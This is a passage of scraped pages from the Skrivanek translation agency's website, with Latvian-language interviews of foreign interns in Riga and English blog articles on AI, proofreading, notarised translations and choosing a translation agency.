NEDAUDZ PAR SEVI – NO KURIENES TU ESI, KO STUDĒ, KĀDI IR TAVI VAĻASPRIEKI? Mans vārds ir Jelizaveta, bet visi mani sauc par Lizu. Es nāku no maza ciematiņa Vācijā, un, mācoties par investīciju uzņēmumu biroja vadītāju un vadības asistenti, man radās iespēja praksi īstenot ārzemēs Latvijā. 2. KĀPĒC NOLĒMI PRAKSI ĪSTENOT LATVIJĀ? Manā arodskolā ir iespēja iegūt praksi dažādās valstīs, un man paveicās nokļūt Latvijā. 3. KĀ TEV PATĪK BŪT DAĻAI NO SKRIVANEK KOMANDAS? Man ļoti patīk šī komanda, it īpaši manas vadītājas Agnese un Rasma, kuras ir ļoti draudzīgas un palīdzēja man ātri iejusties uzņēmumā. 4. VAI ESI MĒĢINĀJUSI MAZLIET APGŪT LATVIEŠU VALODU, UN VAI TEV TĀ ŠĶIET GRŪTA VAI VIEGLA? Es brīvi runāju krieviski, un šķita, ka tas man palīdzēs saprast latviešu valodu, bet es kļūdījos. Latviešu valoda pilnībā atšķiras no jebkuras citas valodas, ko es zinu, tomēr dažus vārdus iegaumēju ļoti ātri. Piemēram, paldies. Tomēr tā nepavisam nav viegla valoda. 5. KAS TEV PATĪK RĪGĀ/LATVIJĀ? Man ļoti patīk Rīga, jo pat būdama galvaspilsēta, tā nav pārāk liela. Te ir ļoti viegli iegaumēt ielas un atpazīt savu atrašanās vietu. Man ļoti patīk arī “Bolt” un sabiedriskā transporta pakalpojumi šeit Latvijā. Ir viegli nokļūt savā galamērķī ar mašīnu vai sabiedrisko transportu. 6. KAS IR TAVA MĪĻĀKĀ VIETA RĪGĀ/LATVIJĀ? Es teiktu, ka ikviena vieta, ko apmeklēju Rīgā, mūžīgi paliks manā sirsniņā. Katrs iepirkšanās centrs, restorāns, kafejnīca, bārs un klubs, ko apmeklēju, dzīvojot Rīgā, bijis ļoti īpašs. 7. KAS TEVI PĀRSTEIDZA, DZĪVOJOT RĪGĀ/LATVIJĀ? Vairākas ēkas mani pārsteidza gan labā, gan ne tik labā ziņā. Rīgā ir skaista arhitektūra, bet dažas ēkas ir pavisam nolaistas. Ļoti pārsteidzoši bija arī tas, ka laikā, kamēr te dzīvoju, Rīgā tik bieži bija stiprs lietus un vējš, ka pat vietējie iedzīvotāji teica, ka parasti tā neesot. Pārsteidza arī tas, ka ir iespējams paēst restorānā par ļoti zemu cenu. 8. VAI ESI MĒĢINĀJUSI KĀDU NO LATVIEŠU ĒDIENIEM UN KO TU PAR TO DOMĀ? Reiz bijām uz “Lido”, kur pasniedza tradicionālos latviešu ēdienus, un man ļoti garšoja. Vēl īstu latviešu ēdienu mēs izmēģinājām kafejnīcā netālu no uzņēmuma, kur darbojās divi manas grupas biedri. Tur bija patiešām gards un autentisks latviešu ēdiens. 9. KĀ TU PAVADI SAVU BRĪVO LAIKU, ATRODOTIES ŠEIT? Mēs apmeklējām visus Rīgas tirdzniecības centrus, turklāt to te ir daudz. Protams, darījām arī citas lietas, piemēram, noskatījāmies futbola spēli (Latvija: Armēnija), basketbola spēli (Rīga: Stambula), apmeklējām kafejnīcas, bārus un klubus. Mēs diezgan daudz ballējāmies, bet bija arī mierīgi vakari mūsu studentu naktsmītnē, spēlējot biljardu, futbolu vai dziedot karaoke. 10. KĀDI IR TAVI PLĀNI PĒC PRAKSES BEIGĀM? Mans plāns ir nokārtot pirmo daļu no mana mācību gala eksāmena tūlīt pēc atgriešanās Vācijā. Un tad censties atgriezties normālā ritmā un pārāk neilgoties pēc Rīgas. Lasi arī interviju ar Lorenco Pellegrīni no Itālijas. --- > Praksei mūsu uzņēmumā piesakās studenti gan no visas Latvijas, gan ārvalstīm. Uzzini par viņas izaicinājumiem Latvijā un gūto pieredzi. - Published: 2023-11-21 - Modified: 2024-10-22 - URL: https://skrivanek.lv/intervija-ar-praktikanti-dzjindzu-dzu/ - Kategorijas: Intervija - Translation Priorities: Optional INTERVIJA AR SKRIVANEK PRAKTIKANTI DZJINDŽU DŽU NO PEKINAS 1. PASTĀSTI NEDAUDZ PAR SEVI – NO KURIENES TU ESI, KO STUDĒ, KĀDI IR TAVI VAĻASPRIEKI? Mani sauc Dzjindžu Džu un es esmu no Pekinas, Ķīnas. Šobrīd studēju RTU maģistrantūrā Digitālās humanitārās zinātnes. Tās ir starpdisciplināras studijas, bet galvenokārt orientētas uz humanitāro un digitālo jomu integrāciju. Mani studiju virzieni ir valodas un e-komercija. Kas attiecas uz vaļaspriekiem, es vārdos nevaru izteikt, cik ļoti man patīk dejot. Jau kopš bērnības tā vienmēr ir bijusi manas dzīves sastāvdaļa, kas palīdz mazināt stresu, tāpēc paralēli studijām un citiem pienākumiem es vienmēr cenšos atrast laiku dejošanai. 2. KĀPĒC NOLĒMI PRAKSI ĪSTENOT LATVIJĀ? Tā ir daļa no manas studiju programmas, bet priecājos, ka tā ir obligāta, jo prakse ir palīdzējusi man izkāpt no komforta zonas un piedzīvot dažādas darba kultūras un komandu dinamiku te Latvijā. 3. KĀ TEV PATĪK BŪT DAĻAI NO SKRIVANEK KOMANDAS? Godīgi sakot, sākumā biju nedaudz uztraukusies, jo cilvēka dabā ir būt satrauktam, kad gatavojamies sākt strādāt vai mācīties jaunā vidē. Bet man ļoti patīk darba vide šeit, Skrivanek, visi kolēģi ir draudzīgi un patīkami, turklāt mums dažreiz pievienojas suns Frodo, tāpēc uztraukums ātri vien pārgāja. 4. VAI ESI MĒĢINĀJUSI MAZLIET APGŪT LATVIEŠU VALODU, UN VAI TEV TĀ ŠĶIET GRŪTA VAI VIEGLA? Es latviešu valodu pārvaldu jau diezgan plūstoši, jo mans bakalaura grāds ir latviešu valodā un literatūrā, kā arī tehniskajā tulkošanā :) Bet šī prakse man sniegusi brīnišķīgu iespēju pilnveidot savu latviešu valodu, jo diemžēl bakalaura studiju laikā man nebija daudz iespēju sazināties latviešu valodā pandēmijas dēļ. Par laimi, man piemīt jutīgums attiecībā uz valodām, un tas man ļoti palīdz uztvert vēl nedzirdētus vārdus un frāzes, strādājot kopā ar vietējiem kolēģiem. 5. KAS TEV PATĪK RĪGĀ/LATVIJĀ? Man patīk tas, cik labi ir saglabājusies vecpilsēta, un, lai gan neesmu šo informāciju pārbaudījusi internetā, biju ļoti pārsteigta, kad dzirdēju no kāda, ka ielas ir saglabājušās no 13. vai 14. gadsimta. 6. KAS IR TAVA MĪĻĀKĀ VIETA RĪGĀ/LATVIJĀ? Laikam Jūrmala, jo šī pilsēta ir burvīga un mani ļoti piesaista pilsētas jūras krastā. Šogad aprīlī ar draudzeni devos turp, lai redzētu ziemeļblāzmu, un arī Jāņus pavadīju tur :) 7. KAS TEVI PĀRSTEIDZA, DZĪVOJOT RĪGĀ/LATVIJĀ? Pirmajos mēnešos, dzīvojot šeit, mani patiešām izbrīnīja dienas garums gan vasarā, gan ziemā, jo nebiju gaidījusi saulrietu ne pulksten 23. 00, ne 16. 00, bet tagad jau sāku pierast, un man ļoti patīk, ka vasarā diena var būt tik gara. 8. VAI ESI MĒĢINĀJUSI KĀDU NO LATVIEŠU ĒDIENIEM UN KO TU PAR TO DOMĀ? Jā, esmu. Reiz no universitātes bijām ekskursijā uz vienu no maiznīcas “Lāči” ražotnēm un piedalījāmies kliņģeru gatavošanas meistarklasē, tas bija ļoti jautri. 9. KĀ TU PAVADI SAVU BRĪVO LAIKU, ATRODOTIES ŠEIT? Papildus dejošanai, es dažreiz dodos pastaigāties vai vienkārši atpūšos parkā, ja ir labi laikapstākļi. Vēl man patīk kafejnīcu medības un atrast jaunas vietas, kur izbaudīt lielisku kafiju, konditorejas izstrādājumus un desertus. 10. KĀDI IR TAVI PLĀNI PĒC PRAKSES BEIGĀM? Universitāti es absolvēšu nākamā gada jūnijā vai jūlijā, un šobrīd koncentrējos uz sava noslēguma darba izstrādi. Lasi arī interviju ar Jelizavetu Slobodjaņiku no Vācijas. --- > Praksei mūsu uzņēmumā piesakās studenti gan no visas Latvijas, gan ārvalstīm. Uzzini par Lorenco izaicinājumiem Latvijā un gūto pieredzi. - Published: 2023-11-21 - Modified: 2024-10-22 - URL: https://skrivanek.lv/intervija-ar-praktikantu-lorenco-pellegrini/ - Kategorijas: Intervija - Translation Priorities: Optional INTERVIJA AR SKRIVANEK PRAKTIKANTU LORENCO PELLEGRĪNI 1. PASTĀSTI NEDAUDZ PAR SEVI – NO KURIENES TU ESI, KO STUDĒ, KĀDI IR TAVI VAĻASPRIEKI? Es esmu no Senigallijas, mazas pilsētiņas Itālijas austrumu krastā, un maģistrantūrā studēju rakstisko un mutisko tulkošanu. Brīvajā laikā man patīk nodarboties ar sportu. Man patīk skriet un skatīties futbolu. 2. KĀPĒC NOLĒMI PRAKSI ĪSTENOT LATVIJĀ? Pirms gada man bija iespēja apmeklēt Rīgu, un man šeit ļoti patika. Tāpēc nolēmu meklēt iespēju iziet praksi šajā pilsētā. Turklāt, tā kā es studēju krievu valodu, šķita, ka Latvija varētu būt laba vieta, kur praktizēt šo valodu. 3. KĀ TEV PATĪK BŪT DAĻAI NO SKRIVANEK KOMANDAS? Man ļoti patīk! Te ir ļoti draudzīga vide un es daudz mācos no katra kolēģa. Mācos lietot CAT rīkus un gūstu ieskatu, kā strādā tulkošanas birojs. 4. VAI ESI MĒĢINĀJIS MAZLIET APGŪT LATVIEŠU VALODU, UN VAI TEV TĀ ŠĶIET GRŪTA VAI VIEGLA? Vēl neesmu mēģinājis to apgūt, bet droši vien pamēģināšu! 5. KAS TEV PATĪK RĪGĀ/LATVIJĀ? Man ļoti patīk Rīgas izmērs. Tā nav pārāk liela un jebkur var nokļūt ar kājām vai autobusu. Tajā ir daudz veikalu, tāpēc var viegli atrast visu, ko vēlos. Turklāt tajā ir daudz jauniešu no dažādām valstīm, tāpēc ir viegli atrast cilvēkus, kas runā angļu valodā. 6. KAS IR TAVA MĪĻĀKĀ VIETA RĪGĀ/LATVIJĀ? Man patīk dažādi tirgi, tāpēc ļoti izbaudīju Rīgas Centrāltirgus apmeklējumu. Tajā ir daudz stendu, kuros tirgo gan Latvijas, gan ārvalstu produkciju, un var atrast arī daudz citu jauku lietu. 7. KAS TEVI PĀRSTEIDZA, DZĪVOJOT RĪGĀ/LATVIJĀ? Mani ļoti pārsteidza pārtikas veikalu skaits šajā pilsētā; tu nekad neesi vairāk kā 10 minūšu attālumā no kāda veikala! Turklāt tie lielākoties ir atvērti līdz vēlam vakaram, un tas man bija pārsteigums, jo Itālijā lielākā daļa pārtikas veikalu tiek slēgti ne vēlāk kā deviņos. 8. VAI ESI MĒĢINĀJIS KĀDU NO LATVIEŠU ĒDIENIEM UN KO TU PAR TO DOMĀ? Esmu mēģinājis saldās un sāļās pankūkas un tās bija ļoti gardas! 9. KĀ TU PAVADI SAVU BRĪVO LAIKU, ATRODOTIES ŠEIT? Brīvajā laikā es nodarbojos ar sportu un pavadu laiku ar saviem dzīvokļa biedriem. Vēl man patīk apmeklēt dažādas apskates vietas, un Rīga ir ļoti laba vieta, kur to darīt, jo te ir daudz, ko apskatīt. 10. KĀDI IR TAVI PLĀNI PĒC PRAKSES BEIGĀM? Pēc prakses es došos atpakaļ uz Itāliju, aizstāvēšu savu disertāciju un absolvēšu universitāti. Lasi arī interviju ar Dzjindžu Džu no Pekinas, Ķīnas. --- > What is artificial Intelligence and what can it do? What are the myths about AI and its future prospects? Read this article! - Published: 2023-11-15 - Modified: 2025-07-09 - URL: https://skrivanek.lv/kas-ir-maksligais-intelekts/ - Kategorijas: Article, Raksti - Translation Priorities: Optional WHAT IS ARTIFICIAL INTELLIGENCE? We encounter artificial intelligence (AI) every day. Starting with our habits on the internet, to using smart devices to regulate the ventilation in the office, the heating at home, measure our blood pressure during physical activities, and analyse the quality of our sleep. Lately, the topic of artificial intelligence has become particularly relevant, because over the last year, artificial intelligence models which generate content that was previously only created by humans have begun to gain popularity, such as AI-generated pictures, project applications, essays, poetry, speeches and even opportunities to have a chat. This is the so-called Strong AI, which aims to create a technology that can think like a human and have the consciousness of an intelligent being, but is this even possible and do we know what human intelligence is and what its limits are? We started the blog post by asking the well-known ChatGPT, what artificial intelligence is. Here’s the response we got: “Artificial intelligence is a branch of computer science that deals with the development of computer programs and computer systems capable of performing tasks that would normally require human intellectual abilities. Artificial intelligence studies and attempts to create computer programs that can think, learn, analyse, conclude, and make decisions in a human-like manner. Artificial intelligence includes several sub-fields: machine learning: An AI subfield that focuses on algorithm development and modelling and allows a computer to learn from data and make predictions or classifications; deep learning: AI subfield of machine learning that uses neural networks and deep models to perform complex tasks such as image or speech recognition; natural language processing: algorithms and programs that allow computers to understand and analyse human language, as well as perform translation and create dialogue patterns; robotics: AI is used to create robots and devices that can understand and respond to their environment, perform certain tasks, and communicate with people. Artificial intelligence has a wide range of applications, including medicine, finance, transportation, art, and many other industries. Artificial intelligence continues to develop and potentially impact our daily lives, offering new opportunities and solutions to complex tasks. ” To conclude, artificial intelligence is a sub-field of computer science that deals with the automation of intelligent behaviour by making computers do things that humans do better. In simpler words, if a computer program is able to come up with a solution by simulating human brain activity and thought processes, it can be called artificial intelligence. Read more about what AI is and how it affects our daily lives. ARTIFICIAL INTELLIGENCE AND ITS POSSIBILITIES The European Commission distinguishes between two types of artificial intelligence: software (virtual assistants, image analysis software, search engines, speech and face, text and character recognition systems) and AI embedded in the hardware of robots, cars, drones and internet apps. Artificial intelligence technologies have been around for more than 50 years, but artificial intelligence has experienced particularly rapid development in recent years. This became possible with the help of more powerful servers that are able to process large amounts of information in a short period of time. There are many areas where we use artificial intelligence quite frequently. Here are just a few examples: Internet browser and smart assistants One of the most noticeable examples is our activities on the internet. Every day, when we open our web browser and search for information we are interested in, search engines try to “remember, guess and select” from the vast amount of input provided by other users, to offer search results that are specifically catered to us. Similarly, smartphones with their many apps and functionalities have become our daily assistants and help us organise our daily routine, work, and business. E-shops and the right advertisement at the right time Artificial intelligence is commonly used in e-commerce and digital marketing. You must have noticed that shortly after you have visited a certain brand’s online store or searched for a specific product that interests you, similar offers magically appear on your Facebook or Instagram feed. The most advanced stores that use AI solutions have gone even further – after noticing that you have bought, for example, a new smartphone, next time they offer accessories, smartwatches and other goods specifically designed for that smartphone, instead of another phone of the same kind. AI makes personalised recommendations to people based on past searches and purchases or other behaviour online. The application of AI in commerce is extensive and it is very important in product optimisation, accounting, logistics, etc. In the service field When we call customer service on the phone, more and more often the conversation is started with a bot that answers standard questions, but the specialist only connects when the conversation drifts into a specific topic that the bot can no longer find answers for. Chatbots are constantly being trained and getting smarter and can successfully conduct many simple conversations without human intervention. Financial services Banks use artificial intelligence to track money transfers and verify that transactions are legitimate. Computer-based solutions have been used in the calculation of suspicious payments for a long time, for example MasterCard’s artificial intelligence and machine deep learning solutions look for parameters characteristic of fraudulent transactions and present them to specialists who further analyse these cases. Machine learning algorithms also play a role in stock exchanges, analysing changes in the price of stocks and predicting price fluctuations in the future. Processing huge amounts of data, artificial intelligence looks for similar conditions in previous records and evaluates the moves that have followed them. Artificial intelligence in the translation industry Lately, many technologies related to the translation industry have been developed, including automated machine translation, which means that translations are becoming faster and more accurate. AI-supported translation tools such as Google Translate, Deepl, Microsoft Translator, etc. , have conceptually changed the translation industry, allowing the easy translation of large volumes of text from one language to another; however, automated translation tools are not always able to cope with specific nuances and cultural differences, as well as new everyday realities, for example, in the very recent past, our lives were changed in one day by Covid-19. In order for automated machine translation tools to translate about Covid-19, they needed to be “educated” about it, collect and test large amounts of data, and train language models. Therefore, in the translation industry, high-level professionals, often specialised in a certain type of translation (legal, medical, etc. ) will always play an important role. We always recommend entrusting professional translators and editors with texts and documents intended for publication or printing, as well as specialised, confidential, and complex industry texts. When to choose translations done by artificial intelligence? Our office offers automated translation services with the Skrivanek NMT tool, which was created not only by Skrivanek language specialists but also by academics and experts from various fields. We offer different types of machine translation: automated machine translations without post-editing and automated machine translations with basic or full post-editing when the translation is equivalent to a human translation. We recommend using automated machine translation without post-editing when you need to save time and translation costs and the finished product will be used by a small group of people for their own or company’s internal needs. If the translation is needed for communication with clients, business partners or colleagues, it is recommended to use machine translation with basic or full post-edit by a native speaker of the target language or review by an expert in the relevant field, because the machine translator creates so-called “hallucinations”, that is, it creates false translations. FUTURE PROSPECTS Artificial intelligence and the myths surrounding it Since AI is developing faster than people outside of the IT field can understand and grasp, there are also several myths associated with artificial intelligence. One of the most popular ideas is that AI will take away people’s jobs. Understandably, we are afraid of rapid changes and their potential consequences, but experts say that people who are ready to grow professionally and acquire new skills will never be out of a job. Artificial intelligence has made people’s lives easier, increased productivity and provided room for creativity. This means that people will not lack work, but their duties and areas of responsibility will change. Fans of the fantasy genre have come up with more futuristic scenarios of AI taking over the world and ruling humans; however, for AI to be able to “enslave” humans it would require human-like brainpower or consciousness to even make that decision. Despite the huge advances in science, consciousness and the potential of the human brain are still unexplored, so how could a computer program understand it better than us? AI is just a tool for solving complex problems based on human defined methods, algorithms, and other similar aspects. From simple texts to intelligent discussions Now artificial intelligence has become a teacher, a guide, an assistant and even a friend, providing answers to almost every question and confirming the ability to “think” (artificial intelligence has even passed several exams that were conducted to identify the way of thinking and thought processes of a person). Experts believe that AI holds the promise of significant positive changes in the future, including improved access to information, education, healthcare, and transportation. Artificial intelligence will become more and more common in companies, both in serving customers and ensuring the internal operation of the company in certain departments; AI-related growth is also expected in the health sector. But all this will also require more technical knowledge and a solution-orientated society. We can also not ignore the ethical concerns about the impact of AI, such as data protection issues, copyright issues, liability for incorrect or inaccurate information and the resulting consequences of human actions, users’ over-reliance on AI solutions and lack of data verification, which can lead to serious consequences. The world is rapidly and inevitably changing and we must learn to adapt and use opportunities positively, and responsibly, to promote positive development. Ziņu izvēlne Read our previous blog postValsts ieņēmumu dienestsRead our new blog postValsts sociālās apdrošināšanas aģentūra --- > What is the difference between proofreading and editing? When proofreading is needed and what mistakes a proofreader corrects. Find out! - Published: 2023-11-15 - Modified: 2025-06-30 - URL: https://skrivanek.lv/kas-ir-teksta-korektura-un-kad-to-izmantot/ - Kategorijas: Article, Raksti - Translation Priorities: Optional WHAT IS PROOFREADING AND WHEN TO USE IT? Any written text, whether it’s newly written or a translation, will inevitably require proofreading and editing, reviewing grammar (spelling, punctuation, and typos), terminology, cultural and stylistic nuances of the language, and sentence construction. Although authors often feel confident about the accuracy of their text and the clarity of their thoughts, industry professionals who work with writing and correcting texts on a daily basis remind us that it is usually difficult to spot your own mistakes, especially when you have to hand over a freshly written text and there is no time to read it once more with a fresh perspective the next day. Also, not all of us are gifted with a great sense of language and excellent knowledge of grammar – as we all know, punctuation in Latvian tends to be quite difficult. In such cases, a professional text proofreader and editor can help. EDITOR AND PROOFREADER, EDITING AND PROOFREADING – WHAT DOES IT ALL MEAN? People who do not work in the soft sciences field sometimes get confused by the terms. Let’s look deeper into the professions and tasks of an editor and a proofreader, and what editing and proofreading mean: Editor vs proofreader The editor basically organises and supervises necessary editorial changes in the media, for example in the press, radio, television, electronic media, book publishing houses, implements the general design and basic idea of the publication and manages the work of the specific book or newspaper, cooperating with journalists, authors, translators, layout designers as well as proofreaders. The proofreader corrects grammatical errors in texts. Nowadays, when texts are written on the computer, grammar is often checked using spell check tools, and the proofreader’s work is closer to literary editing, correcting the style and making suggestions for the author on how to improve the flow of the text, so it is always important to inform the proofreader about the target reader and desired tone of the text. Editing vs proofreading Proofreading is entrusted to a professional proofreader with a degree in philology, but editing is carried out by an expert in the field, who is both well versed in the specific language as well as in the relevant culture, just as a translator specialises in a specified field and its terminology, so that the translation is transferred into the target language accurately, maintaining consistency and the right context. The editor’s task is to read each document as a separate text and not only check for possible errors but also make the content easier to understand, paying attention to the structure of sentences and other important nuances. When proofreading services are used and why Proofreading is necessary so that we can be sure that there are no translation errors left in the text, no misspellings that are not shown by spell check tools, all commas are in place, no special characters are missing, and the text is stylistically correct, appealing, fit for purpose, respectful and easy to understand by the target audience. Whether you need a translation or just editing of your written text, proofreading gives an outsider’s view that ensures quality and helps create a professional first impression. ERRORS CORRECTED BY THE PROOFREADER Punctuation There are two sides of spelling in written language; the spelling of word forms, or orthography, and the dividing and linking units of speech, or punctuation. Different languages have different punctuation marks and grammar rules, which make it easier for the reader to perceive the written text and to understand it correctly and clearly. It would be difficult to read a text in which the spelling is not respected, and all palatalisation marks have disappeared, but it would also be difficult to understand the ideas expressed without punctuation marks. In the Latvian language, there is great importance in not only the punctuation mark at the end of the sentence, such as a full stop, question mark, exclamation mark, or ellipsis because it determines the intonation and meaning of the sentence, but also commas, dashes, hyphens, colons, semicolons, which help structure the text and introduce important conceptual differences and nuances. In the case of punctuation, it is not sufficient to just learn the rules of grammar. Often, the use of punctuation marks is also determined by the stylistic tone and the function of the text. Fiction, scientific literature, academic research, journalism, business articles – each of these language styles has its own characteristics, which help to reveal the content directly and accurately. The greatest opportunity to use punctuation to reflect not only the grammatical structure of sentences but also various intonation and conceptual nuances is in fiction, but it is equally relevant in so-called copywriting texts – advertising, descriptive sections of websites, releases, etc. Orthography Orthography is the conventional spelling system of a language. Here, the proofreader will make sure that capital letters are used correctly, remembering that, for example, in the Latvian language when writing the names of orders, all words are written with a capital letter, except for “order”, but only the first letter in the names of institutions; all macrons are where they should be; and the spelling of complicated words and exceptions are correctly used. Similarly, in printed texts, correct transfer to a new line is also important, but in more complex translations, attention should be paid to the rendering of foreign words because the spelling is often unusual. Stylistic mistakes and stylistics Stylistics is the language’s ability to express additional information that indicates the communication environment and the speaker’s or writer’s subjective attitude towards the message or reader. These are the stylistic mistakes our language teacher in school marked with a wavy line in the margin of the notebook. Stylistic mistakes occur when stylistically and/or emotionally expressive forms of language are used in an inappropriate situation. Language etiquette requires that there are words and sentence structures that we can safely use in everyday conversation and correspondence with friends, but would never include in a formal work email or legal contract. A proofreader has cultivated and developed the ability to navigate the language and the ability to choose words for specific language situations, so they will know when to use juicy slang, and when structured, business language is best suited. A proofreader works in their native language The proofreader’s or editor’s recommendations are useful not only after translation but also when creating marketing texts, where it is very important to avoid spelling mistakes and prepare texts that appeal to a certain demographic. In translation offices, proofreaders work with texts in their native language, which ensures more than just grammatically correct text; it also ensures that the culture and traditions of the language are followed, as the proofreader knows the phraseology and various expressions that cannot be translated literally. The proofreader polishes the text and ensures that the translation is understandable and sounds natural in the target language, which is why Skrivanek makes sure a native proofreader reviews each translation. Ziņu izvēlne Read our previous blog postValsts ieņēmumu dienestsRead our new blog postValsts sociālās apdrošināšanas aģentūra --- > What is a notarised translation? For which documents and in which cases is it necessary? Find out in this article! - Published: 2023-11-15 - Modified: 2025-06-30 - URL: https://skrivanek.lv/kados-gadijumos-nepieciesams-notariali-apliecinats-tulkojums/ - Kategorijas: Article, Raksti - Translation Priorities: Optional WHEN DO YOU NEED A NOTARISED TRANSLATION? If you need to translate documents, it is worth looking for a translation agency that provides notarised translations of documents. Notarised translation is required for documents such as birth certificates, marriage certificates, educational diplomas, certificates of criminal record and health status, various state-issued authorisations, etc. The process of such translations entails the translation being certified with the signature of a qualified translator and then the signature is certified by a Sworn Notary. The task of the Notary is to make sure of the translator’s education and qualification to perform the translation, while the translator takes responsibility for the translation’s conformity with the original document. NOTARISED TRANSLATIONS IN MEMBER STATES OF THE HAGUE CONVENTION If the document is issued in a foreign country that is a member state of the Hague Convention of 5 October 1961 on “Abolishing the Requirement of Legalisation for Foreign Public Documents”, translations of documents with an Apostille are certified by an institution authorised to do so in the issuing country. The Hague Convention has significantly simplified the process of notarised translations as once a document is certified with an Apostille it does not need to be certified again in more than 100 member states of the Hague Convention. In the Republic of Latvia, the Hague Convention has been in force since 30 January 1996. Previously, the issuing of public documents in Latvia with an Apostille was only carried out in the Consular Department of the Ministry of Foreign Affairs of the Republic of Latvia, but since 1 July 2019, it can be done by Sworn Notaries anywhere in Latvia, and electronically issued documents can also be certified with an Apostille remotely. However, if the document is issued in Latvia and is intended to be used in a country that is not a party to the Hague Convention, it must first be legalised at the Consular Department of the Ministry of Foreign Affairs of the Republic of Latvia. The document legalisation process is simple and fast: you must go to a Notary, taking the original of the document and your passport or ID card with you; if there is a sample of the signature and seal of the official who issued the document in the Signature sample database, the document can be certified within one or a couple of days. TYPES OF NOTARISED TRANSLATIONS Certification attached to the original document: a translation certified by a qualified translator, whose signature is certified by a Notary, is attached to the original document. Certification attached to the copy of the document: in this case, a photocopy is taken from the original document, to which a translation certified by a qualified translator in the relevant language is attached; a photocopy with a translation is only certified by a Notary when the original document is presented. HOW TO PREPARE THE ORIGINAL DOCUMENT If you need a notarised translation of a document, the original document needs to be fully executed and legally valid, which means, it must include the following information: the name of the person who prepared the document; the date of preparation; the name of the place where said document was prepared, issued and signed; signature(s). More information on the preparation of documents can be found in the regulations of the Cabinet of Ministers of 28 September 2010 No. 916 “Procedures for Drawing up and Preparing Documents”. There may be situations when you need to submit a notarised translation electronically with e-signature, but the original document is in paper format. The translation office then prepares the translation of the document in paper form, the translator and a Sworn Notary certify it with their signatures, and the signed translation is stitched together with the original document or a notarised copy. The translation of the document is scanned and then certified by a Notary again with an e-signature. However, a notarised translation of an electronically signed document can be prepared directly in the e-environment. WHY CHOOSE SKRIVANEK? Translation bureau Skrivanek offers notarised translations in more than 110 languages. We provide notarised translations attached to either the original document or certified copy in compliance with the laws of the Republic of Latvia. The accuracy and correspondence of the translation is certified by a Sworn Notary, but a sworn translator takes full responsibility for the quality of the translation. Quality and guaranteed data protection We are among the top 100 largest translation providers in the world. We have implemented the necessary processes so that our services meet the requirements of both our customers and regulatory acts. Skrivanek was the first translation agency in Central and Eastern Europe to fully comply with the ISO 9001 quality management system regulation. In addition, Skrivanek ensures work process and control and customer data confidentiality in accordance with the information security management system ISO/IEC 27001:2022. A team of professionals Our strength is our professional international team: interpreters, translators, editors, proofreaders, and copywriters specialising in different fields and industries to provide a wide range of translations in different language combinations. We work on both small and large-scale projects, including technically complex translations with industry-specific terminology. Speed and efficiency Skrivanek has more than 3,000 qualified translators in its database; therefore, we can provide translations in any language quickly while ensuring high quality. Before starting the translation, the project manager and client agree upon the deadline. It usually takes around one working day for a 500-word long translation, and one and a half working days for a 1,000-word text, but we can also provide urgent translations if necessary. In this case, we will agree on the deadline and price with you individually. The price of the written translation service includes proofreading, carried out by a native speaker of the target language. The price of the translation depends on the amount, the combination of languages and the specifics of the text, so to get a more accurate price offer, please contact us or visit our office in Riga, Lāčplēša iela 87C. DO YOU NEED A NOTARY-CERTIFIED TRANSLATION? We will prepare a tailored solution and consult you on your subject of interest. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Ziņu izvēlne Read our previous blog postValsts ieņēmumu dienestsRead our new blog postValsts sociālās apdrošināšanas aģentūra --- > There are a lot of translation agencies to choose from, read this article to find out what to look for when choosing the right one. - Published: 2023-11-15 - Modified: 2025-06-30 - URL: https://skrivanek.lv/ka-izveleties-tulkosanas-biroju/ - Kategorijas: Article, Raksti - Translation Priorities: Optional HOW TO CHOOSE A TRANSLATION AGENCY Realising the importance of good translation and text localisation in companies and business has possibly resulted in opening more translation offices. Even in a small country like Latvia, there are many larger and smaller companies that offer translation services. If translation services for business or personal use are needed regularly, it is important that written and oral translations in various language combinations are available quickly and done well. The reputation and success of your company can depend on the written materials or the translator’s work at a conference or business presentation, so choosing the right cooperation partner in the field of translation services is essential. Read this article to learn more about what you should pay attention to when choosing a translation agency for long-term cooperation. BE AWARE OF YOUR NEEDS When you know what you are looking for, it’s easier to define your needs. What types of translations, such as business articles, medical texts, technical documents, or marketing materials do you need? Is it a website, newspaper article, legal contract, press release or technical manual? Who is your audience – will the translation be read by your customers or business partners? Source language – what language is the original text written in? Target language – what language will the translation be needed in? Do you only need written translations or also oral translations (interpreting)? WHAT IS THE DIFFERENCE BETWEEN A TRANSLATOR AND AN INTERPRETER? An interpreter specialises in oral translation, for example, working in court hearings, business meetings, events, conferences, while a translator translates written text, for example, books, legal contracts, marketing materials, etc. HOW MUCH DOES TRANSLATION COST? The price of translations is usually calculated based on the number of words or characters in the source (original) language of the document, but the price can also be affected by the deadline, complexity of the text and technical requirements. A project manager from the translation office will make a price offer before you agree on proceeding with the work. TRANSLATION OFFICE AND THE REQUIRED QUALITY MANAGEMENT STANDARD CERTIFICATES Make sure that the translation agency has implemented quality management systems and works with professional translators, interpreters, editors, and proofreaders instead of selling you machine translations that you can do yourself. Professionalism, confidentiality, responsibility for the work and meeting deadlines, ethical and sustainable company operation, etc. are confirmed by various ISO certificates: EN ISO 9001 This quality management system confirms that the translation office has implemented and is implementing the necessary processes to ensure that the quality of services provided meets both the customer’s and regulatory requirements. EN ISO 14001 The certificate confirms the translation company’s concern for the environment, including the use of environmentally friendly technologies and materials in business, waste sorting, printing only the necessary documents etc. EN 17100 This certificate means that the selection of translation specialists, communication, project management, work process, use of technology and other industry-related aspects in our company meet the highest standards and requirements. ISO/IEC 27001 The implemented information security management system confirms that information protection measures have been implemented in the translation office and the necessary control has been ensured, guaranteeing the security and confidentiality of the data entrusted by our clients. ISO 18587 The certificate is related to the post-editing processes of machine-translated text, and the project manager and editor working together on project execution. REPUTATION OF THE TRANSLATION AGENCY You can usually get acquainted with customer reviews, the biggest clients, and projects of translation offices on their website. Also, perform a quick Google search to see what kind of information you can find about the translation agency. It’s always worth asking friends and business partners if they can recommend a good translation agency to work with in the long 